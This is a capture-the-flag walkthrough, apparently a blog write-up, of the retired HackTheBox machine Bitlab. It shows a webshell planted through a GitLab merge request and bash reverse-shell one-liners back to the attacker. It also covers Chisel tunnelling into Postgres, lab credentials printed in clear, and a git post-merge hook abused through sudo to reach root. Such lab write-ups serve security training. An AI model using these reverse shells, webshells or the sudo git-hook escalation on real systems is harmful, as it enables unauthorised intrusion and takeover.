Bitlab was a box centered around automation of things, even if the series challenges were each rather unrealistic. It starts with a Gitlab instance where the help link has been changed to give access to javascript encoded credentials. Once logged in, I have access to the codebase for the custom profile pages use in this instance, and there’s automation in place such that when I merge a change into master, it goes live right away. So I can add a webshell and get access to the box. In the database, I’ll find the next users credentials for SSH access. For Root, I’ll reverse engineer a Windows executable which is executing Putty with credentials, and use those creds to get root. In Beyond Root, I’ll look at an unintended path from www-data to root using git hooks, and explore a call to GetUserNameW that is destined to fail.

Box Info

Name Bitlab Bitlab
Play on HackTheBox
Release Date 07 Sep 2019
Retire Date 11 Jan 2020
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for Bitlab
Radar Graph Radar chart for Bitlab
First Blood User 00:30:44mprox
First Blood Root 00:38:20sampriti
Creators Frey



nmap reveals two ports, SSH (22) and HTTP (80):

root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.80 ( ) at 2019-09-08 02:58 EDT
Nmap scan report for
Host is up (0.19s latency).
Not shown: 65533 filtered ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 15.57 seconds
root@kali# nmap -p 22,80 -sC -sV -oA scans/nmap-tcpscripts
Starting Nmap 7.80 ( ) at 2019-09-08 03:00 EDT
Nmap scan report for
Host is up (0.036s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 11.13 seconds

Website - TCP 80

The website is hosting an instance of GitLab Community Edition, software to host and manage git repositories:


I don’t have creds at this point. I tried a few typical ones, and the old and new default passwords, but none of them worrked.

There’s a few links on the page, and when I got to /help, it’s not the typical help page, but rather a dir listing showing a file bookmarks.html:


Clicking on it, I see a list of hyperlinks:


All of them go to sites out of scope except the last, “Gitlab Login”, which of course is the most interesting:

<a href="javascript:(function(){ var _0x4b18=[&quot;\x76\x61\x6C\x75\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x63\x6C\x61\x76\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64&quot;,&quot;\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78&quot;];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()" add_date="1554932142">Gitlab Login</a>

Shell as www-data

GitLab Login

There are two different ways to approach getting the credentials out of this html link.

Bookmarks Bar

Give the title of the page, I right clicked on the “GitLab Login” link, and selected “Bookmark This Link”. For the folder, I changed it to “Bookmarks Toolbar”:


This link now shows up in my bookmarks toolbar in Firefox:


When I’m on the Bitlab login page, and I click that link, the creds fill in. I can see the password by editing the field from a type password to a type text:

Javascript Deobfuscation

While the bookmarks bar was easy, never pass up the chance to deobfuscate some Javascript. There are plenty of Javascript beautifiers, but especially for small script, I find putting the spacing in by hand gives me a better feel for what’s going on. After some spacing and basic clean up, I get:

(function() {
    var _0x4b18 = [ "\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];

It’s only 3 lines. The first is an array of encoded strings. The next two use those strings to interact with the document.

I can throw this code into I don’t need the document statements as they are (there won’t be a document object to interact with), so I’ll add console.log statements to print out what those lines would have done:

    var _0x4b18 = [ "\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
    //document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
    //document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];
console.log("document[" + _0x4b18[2] + "](" + _0x4b18[1] + ")[" + _0x4b18[0] + "] = " + _0x4b18[3] + ";")
console.log("document[" + _0x4b18[2] + "](" + _0x4b18[4] + ")[" + _0x4b18[0] + "] = " + _0x4b18[5] + ";")

When I run this, I get:

document[getElementById](user_login)[value] = clave;
document[getElementById](user_password)[value] = 11des0081x;


Either way I get the credentials, I can now log in with ‘clave’ / ‘11des0081x’. I see two projects:


Both projects belong to a different user, Administrator. The links to the projects show that Administrator’s usename is root (which is the default user in GitLab).


Before diving into the projects, I checked the Snippets (in the More menu), and there was one named Postgresql:


It contains php code to connect to postgres:

$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");

I’ll note those creds for later.


Profile has three files, the, an image named developer.jpg, and an index.php:

profile projectClick for full size image

I’ll note the comments in the readme about connecting with postgres. That’s a hint for something to check out later.

The code for index.php contains a profile page for Clave. It’s all static HTML, despite being a php page.


Browsing over to the other project, Deployer, I see just a and an index.php:

deployer projectClick for full size image

The contains a link about Gitlab webhooks. These are method to run scripts when different actions happen related to a project.

index.php is a page that will listen for a POST request, read the input from that, parse out the expected fields (repo, event, state, and branch). If the parameters match certain values, it will go into ../profile and run sudo git pull.


$input = file_get_contents("php://input");
$payload  = json_decode($input);

$repo = $payload->project->name ?? '';
$event = $payload->event_type ?? '';
$state = $payload->object_attributes->state ?? '';
$branch = $payload->object_attributes->target_branch ?? '';

if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
    echo shell_exec('cd ../profile/; sudo git pull'),"\n";

echo "OK\n";

This means that if code is committed to the Profile repo and then merged into the master branch, assuming the web hooks are set up correctly to post to this endpoint, the box will pull down the new code. That just means that if I can get something malicious into the repo, I can get it to deploy back to the server.


I was planning to look at the settings for my current use, so I went to the top right corner, and clicked on the circle with my profile picture, and then to Settings. It took me here:


That’s not what I was expecting. But, I recognize it as the page from the Profile project.


Now that I found the profile page running, I can test if I can make changes to the profile page and have them show up at /profile.

I’ll pull up index.php in Gitlab and hit Edit. I’ll add a small webshell just at the top of the HTML body:

added webshellClick for full size image

At the bottom of the page, I’m given options to set a commit message and set the target branch:


I don’t want to commit to the master branch, but rather create a new branch, and then later merge that into master, as that’s what will trigger the update. It’s likely that I can’t commit to master anyway. I’ll leave checked the box to start a new merge request, as as soon as I commit, I’m going to merge. When I hit Commit changes, it takes me to the page to create a new merge request:


This merge will take my new branch and add the changes into master, and that will trigger the pushing of the code to Bitlab, so it’s running live on the server.

I’ll make sure to check “Remove source branch when merge request is accepted.” (to clean up after myself), and hit Submit merge request. Now I’m at the page for the request:

merge requestClick for full size image

Now I can hit merge, and the page updates in page to show it’s merged:

merged!Click for full size image

Now on visiting, I see faint white text at the top left:

webshell activeClick for full size image

In the view source window, I can see the result in the middle:

    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    <link href='' rel='stylesheet' type='text/css'>
<link href="//" rel="stylesheet">


Now to translate that to a shell, I’ll visit -c 'bash -i >%26 /dev/tcp/ 0>%261', and I get a callback on nc:

root@kali# nc -lvnp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
bash: cannot set terminal process group (1171): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bitlab:/var/www/html/profile$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as clave


There’s evidence all over the place that this host is running docker containers. ifconfig has many interfaces. I don’t see gitlab or postgres running anywhere. And there’s a set if docker configs in /srv. ip neigh shows two hosts in the cache:

www-data@bitlab:/srv$ ip neigh dev eth0 lladdr 00:50:56:b0:58:fc REACHABLE dev br-c8b1f0816703 lladdr 02:42:ac:13:00:02 STALE dev br-c8b1f0816703 lladdr 02:42:ac:13:00:03 REACHABLE
fe80::250:56ff:feb0:58fc dev eth0 lladdr 00:50:56:b0:58:fc router STALE

A quick parallel ping sweep shows 4 containers in that subnet:

www-data@bitlab:/srv$ time for i in {1..254}; do (ping -c 1 172.19.0.$i | grep "bytes from" | cut -d':' -f1 | cut -d' ' -f4 &); done

real    0m0.928s
user    0m0.129s
sys     0m0.051s

nmap is on the host, and will quickly show me the containers:

www-data@bitlab:/srv$ nmap                                                                                            

Starting Nmap 7.60 ( ) at 2019-09-08 14:16 UTC
Nmap scan report for
Host is up (0.00020s latency).
Not shown: 997 closed ports
22/tcp   open  ssh
80/tcp   open  http
8181/tcp open  intermapper

Nmap scan report for
Host is up (0.00048s latency).
Not shown: 999 closed ports
80/tcp open  http

Nmap scan report for
Host is up (0.00047s latency).
All 1000 scanned ports on are closed

Nmap scan report for
Host is up (0.00018s latency).
Not shown: 999 closed ports
5432/tcp open  postgresql

Nmap done: 4 IP addresses (4 hosts up) scanned in 0.20 seconds

.2 and .3 are candidates to be Gitlab, and the postgres host is .5.

I also see that the local box is listening on 5432. This is a forward into the postgres container, so I can talk to either.


I want to check the database, but psql isn’t on the box. I did some testing, and it looks like the firewall is blocking any incoming ports that aren’t meant to be up, so I can’t just use socat to create a tunnel. I’ll upload Chisel, my go to for this kind of thing. I’ll upload it:

www-data@bitlab:/dev/shm$ wget
--2019-09-08 15:53:50--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 10459399 (10.0M) [application/octet-stream]
Saving to: 'chisel'

chisel                                                 100%[============================================================================================================================>]   9.97M   260KB/s    in 30s     

2019-09-08 15:54:20 (337 KB/s) - 'chisel' saved [10459399/10459399]

www-data@bitlab:/dev/shm$ chmod +x chisel

Now I’ll start the server on my host with the --reverse option so that I can create a reverse tunnel:

root@kali:/opt/chisel# ./chisel server -p 8000 --reverse
2019/09/08 11:56:39 server: Reverse tunnelling enabled
2019/09/08 11:56:39 server: Fingerprint 87:f2:60:3d:3b:3a:af:b9:be:99:e9:e7:fd:68:33:de
2019/09/08 11:56:39 server: Listening on

Now I’ll have the client on Bitlab connect to the server, and specify that I want a reverse tunnel to listen on 5432 on my host and have that connect to 5432 on localhost:

www-data@bitlab:/dev/shm$ ./chisel client R:5432:localhost:5432
2019/09/08 15:56:50 client: Connecting to ws://
2019/09/08 15:56:50 client: Fingerprint 87:f2:60:3d:3b:3a:af:b9:be:99:e9:e7:fd:68:33:de
2019/09/08 15:56:50 client: Connected (Latency 43.361952ms)

I can see the connection at the server as well:

2019/09/08 11:57:30 server: proxy#1:R:>localhost:5432: Listening 

Now I’ll use a local psql to connect:

root@kali# psql -h -p 5432 -U profiles                                                                                                                                                                                      
Password for user profiles: 
psql (11.5 (Debian 11.5-1), server 10.4 (Ubuntu 10.4-2.pgdg18.04+1))
Type "help" for help.


I can list the dbs:

profiles=> \list
                             List of databases
   Name    |  Owner   | Encoding | Collate | Ctype |   Access privileges   
 gitlab    | postgres | UTF8     | C       | C     | =Tc/postgres         +
           |          |          |         |       | postgres=CTc/postgres+
           |          |          |         |       | gitlab=CTc/postgres
 postgres  | postgres | UTF8     | C       | C     | 
 profiles  | postgres | UTF8     | C       | C     | =Tc/postgres         +
           |          |          |         |       | postgres=CTc/postgres+
           |          |          |         |       | profiles=CTc/postgres
 template0 | postgres | UTF8     | C       | C     | =c/postgres          +
           |          |          |         |       | postgres=CTc/postgres
 template1 | postgres | UTF8     | C       | C     | =c/postgres          +
           |          |          |         |       | postgres=CTc/postgres
(5 rows)

I can list tables in the current db, profiles:

profiles=> \dt
          List of relations
 Schema |   Name   | Type  |  Owner   
 public | profiles | table | profiles
(1 row)

I’ll grab everything from the one table:

profiles=> select * from profiles;
 id | username |        password        
  1 | clave    | c3NoLXN0cjBuZy1wQHNz==
(1 row)


While that may look base64 encoded, it’s actually clave’s password. I can connect over ssh from here:

root@kali# ssh clave@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:hNHxoptKsWqkzdME7Bfb+cGjskcAAGySJazK+gDDCHQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
clave@'s password: 
Last login: Thu Aug  8 14:40:09 2019

And now I can grab user.txt:

clave@bitlab:~$ cat user.txt 

Priv: clave –> root


Also sitting in clave’s homedir is an exe:

clave@bitlab:~$ ls
RemoteConnection.exe  user.txt
clave@bitlab:~$ file RemoteConnection.exe 
RemoteConnection.exe: PE32 executable (console) Intel 80386, for MS Windows

Kind of weird to have an exe sitting on a Linux home directory. I’ll pull it back with scp:

root@kali# scp clave@ .
clave@'s password: 
RemoteConnection.exe                                   100%   14KB 193.9KB/s   00:00 


Run It

When I run the exe, it just tells me “Access Denited !!”. Given the file name, I opened Wireshark and ran it again, but didn’t see anything there either.

Static Analysis

I’ll start looking at the binary statically. First, always a good idea to run strings and look for anything interesting there. A few at the top jump out as interesting:

root@kali# strings -n 12 RemoteConnection.exe
!This program cannot be run in DOS mode.
Access Denied !!
string too long
invalid string position

There’s a base64 alphabet, followed by what could be a base64-encoded string. There’s also a call to ShellExecuteW, which means it runs another program.

I’ll decode that string, but it contains a lot of unprintable characters:

root@kali# echo XRIBG0UCDh0HJRcIBh8EEk8aBwdQTAIERVIwFEQ4SDghJUsHJTw1TytWFkwPVgQ2RztS | base64 -d | xxd
00000000: 5d12 011b 4502 0e1d 0725 1708 061f 0412  ]...E....%......
00000010: 4f1a 0707 504c 0204 4552 3014 4438 4838  O...PL..ER0.D8H8
00000020: 2125 4b07 253c 354f 2b56 164c 0f56 0436  !%K.%<5O+V.L.V.6
00000030: 473b 52                                  G;R


I’l open it in Ida Pro free. There’s a lot of unnamed functions, and no clear main, so I’ll go to the Imports tab, find “ShellExecuteW”, double click it to go to it, then click on the function name and hit x to get references:


There’s really only one call there, at sub_401520+13A. I’ll hit ok to go there:


It’s calling putty.exe. Just above, I see it’s comparing some string to clave.


putty.exe will likely be making a remote connection (which fits with the exe name), so it may have creds. Rather than try to figure out the algorithm obfuscating the password, I’ll just debug and see if I can see it in memory. In Ida, I’ll hit space to switch out of graph mode, and see that the ShellExecuteW call is at 04165A:


When I open x32dbg (since this is a 32-bit executable, I could see all the eax and ebx, not rax and rbx in the Ida disassembly), the address space will be offset due to ASLR, but this line will still end in 165A. I first hit the forward Run arrow to get to user code, and then scroll up a bit to find it, in my case, at D2165A:


I can see the comparison to clave nine lines above. I’ll add a break point at ShellExecuteW, and hit Run, but the program just exits. It’s not reaching this point. I’ll try adding one at the cmp, XX1640. This time it breaks there, and I can see something interesting in the values:


It looks like the command line options for putty.exe, including -pw Qf7]8YSV.wDNF*[7d?j&eD4^.


With this password, I can SSH to Bitlab as root:

root@kali# ssh root@
root@'s password: 
Last login: Fri Sep 13 14:11:14 2019

And grab root.txt:

root@bitlab:~# cat root.txt 

Beyond Root

Unintended Path from www-data to root

With a shell as www-data, I ran sudo -l, and saw I could run git pull without password:

www-data@bitlab:/$ sudo -l
Matching Defaults entries for www-data on bitlab:
    env_reset, exempt_group=sudo, mail_badpass,

User www-data may run the following commands on bitlab:
    (root) NOPASSWD: /usr/bin/git pull

This makes sense, as I saw the deploy project needed to run this automatically when new code is committed.

In git, a pull is actually a git fetch followed by a git merge. I can make my own hook, a post-merge hook, and put a shell in there. The challenge I have is that both projects are owned by root and not writable by me:

www-data@bitlab:/var/www/html$ find -type d -name hooks -ls
  2502298      4 drwxr-xr-x   2 root     root         4096 Jan  4  2019 ./profile/.git/hooks
  2760044      4 drwxr-xr-x   2 root     root         4096 Jan  4  2019 ./deployer/.git/hooks

I could create a new project, but to do a git pull, I’ll need to connect it to a remote project. I could stand up my own git server on my kali box.

A much easier way to do this is to just copy one of the projects. I’ll copy it into a working directory in /dev/shm:

www-data@bitlab:/dev/shm/.0xdf$ cp -r /var/www/html/profile .

Now I can write a hook as the folder owner:

www-data@bitlab:/dev/shm/.0xdf$ ls -ld profile/.git/hooks/
drwxr-xr-x 2 www-data www-data 260 Sep  8 13:37 profile/.git/hooks/

I’ll write a reverse shell as a post-merge hook, and set it executable:

www-data@bitlab:/dev/shm/.0xdf/profile$ cat .git/hooks/post-merge

bash -i >& /dev/tcp/ 0>&1
www-data@bitlab:/dev/shm/.0xdf/profile$ chmod +x .git/hooks/post-merge

Now I’ll run git pull, but I don’t get a callback on nc:

www-data@bitlab:/dev/shm/.0xdf/profile$ sudo /usr/bin/git pull
Already up to date.

Since there’s no changes, no merge happens. I’ll take this opportunity to remove my webshell from index.php using the same steps I used to add it. Once I make that change, I can pull again, and this time:

www-data@bitlab:/dev/shm/.0xdf/profile$ sudo /usr/bin/git pull   
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 4 (delta 3), reused 3 (delta 2)
Unpacking objects: 100% (4/4), done.
From ssh://localhost:3022/root/profile
   69f1340..72805f3  master     -> origin/master
Updating 69f1340..72805f3
 index.php | 1 -
 1 file changed, 1 deletion(-)

The www-data window hangs, but in the nc window, I’m root:

root@kali# nc -lnvp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
root@bitlab:/dev/shm/.0xdf/profile# id
uid=0(root) gid=0(root) groups=0(root)

Debugging Username

When I initially tried to run this program, it just crashed. Some debugging showed me that it was crashing at a call to GetUserNameW. I took a guess that my username 0xdf was throwing things off, created a new user named dummy, and switched over, and did the debugging above.

I was failing to get to ShellExecuteW at a check comparing something to clave, so I figured I would create a user clave, and debugging as him. It still failed to reach the call to Putty.

I debugged the call to GetUserNameW. The docs say it takes two parameters:

BOOL GetUserNameW(
  LPWSTR  lpBuffer,
  LPDWORD pcbBuffer

The first is a buffer to put the username in, and the second is the size of that buffer. It adds:

If this buffer is not large enough to contain the entire user name, the function fails.

And later about the second buffer:

If lpBuffer is too small, the function fails and GetLastError returns ERROR_INSUFFICIENT_BUFFER. This parameter receives the required buffer size, including the terminating null character.

At my break point, I see the two values passed:


This is very broken. The first parameter should be a pointer of an address to write the username to. This will crash and fail if it tries to write to 0x00000004. But, if I look at the buffer (right click on the buffer address and select “Follow in dump”), I see it’s value is 4. So before the call fails to write to the invalid address, it’s going to error out because the username is too long. I can step over this call and see the pcbBuffer changes to 6, the number of characters required for “clave\x00”:


I can also see the error in the LastError:


When I do get to the compare with the string clave, it’s comparing “6” to it. That’s where this comes from. That’s why when I get to the compare, it’s comparing 6 to clave. There’s no way this could succeed as written.